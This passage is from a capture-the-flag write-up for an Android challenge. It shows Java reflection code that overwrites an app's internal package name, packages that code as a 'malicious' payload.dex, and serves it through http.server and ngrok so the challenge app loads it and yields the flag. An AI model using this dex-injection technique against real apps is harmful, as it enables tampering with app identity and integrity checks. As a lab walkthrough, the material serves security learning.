After getting the correct field, now just change the value of mPackageName to l33t_h4x0r with the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            // Get the current ActivityThread instance
            Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            // Get the loaded package info
            Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            // Set the new package name
            Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
            packageNameField.setAccessible(true);
            packageNameField.set(loadedApkInfo, "l33t_h4x0r");

            Log.e("PackageName", getPackageName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

After running and viewing in logcat the package name has been successfully changed to l33t_h4x0r.

Create a malicious dex file

After that, just copy the code and input it into the Main class and in the execute function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.kuro.payload;

import android.content.pm.ApplicationInfo;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
    public static void execute() {

        try {
            // Get the current ActivityThread instance
            Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            // Get the loaded package info
            Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            // Set the new package name
            Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
            packageNameField.setAccessible(true);
            packageNameField.set(loadedApkInfo, "l33t_h4x0r");
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

After that, set the gradle so that when building the classes.dex it is only one and not multiple by adding the following config:

After that we build this project.

A popup will appear in the bottom right corner like the following.

Click locate and will be directed to the apk folder that has been built:

Enter the debug folder.

And this app-debug.apk is the result of our compile earlier, after that we open this apk in jadx to take the classes.dex and use it in the challenge application.

The compiled apk folder is in <Project Folder Name>\app\build\outputs\apk\debug.

After opening with jadx, we save all the decompiled results and put them in a folder, I myself put it in the kelasss folder.

After that we copy the classes.dex contained in the kelasss/resources/classes.dex folder to another folder so that we can transfer it to the challenge application.

I put it in the internals folder only and I rename it to payload.dex and run http.server and ngrok, after that just enter the url into the box and our exploit is successful to get the flag.

Just run on Virtual Android Device and get the flag:

Reference:

  • https://android.googlesource.com/platform/frameworks/base.git/+/master/core/java/android/app/ActivityThread.java
  • https://www.digitalocean.com/community/tutorials/java-reflection-example-tutorial
  • https://www.haptik.ai/tech/using-reflection-in-android/
  • https://stackoverflow.com/questions/1754714/android-and-reflection
  • https://stackoverflow.com/questions/1438420/how-to-get-a-class-object-from-the-class-name-in-java
  • https://www.geeksforgeeks.org/reflection-in-java/
  • https://stackoverflow.com/questions/61757838/is-it-possible-to-get-class-object-of-an-app-from-injected-dex-by-using-java-ref
  • https://github.com/aimardcr/APKKiller
This post is licensed under CC BY 4.0 by the author.
Contents
Trending Tags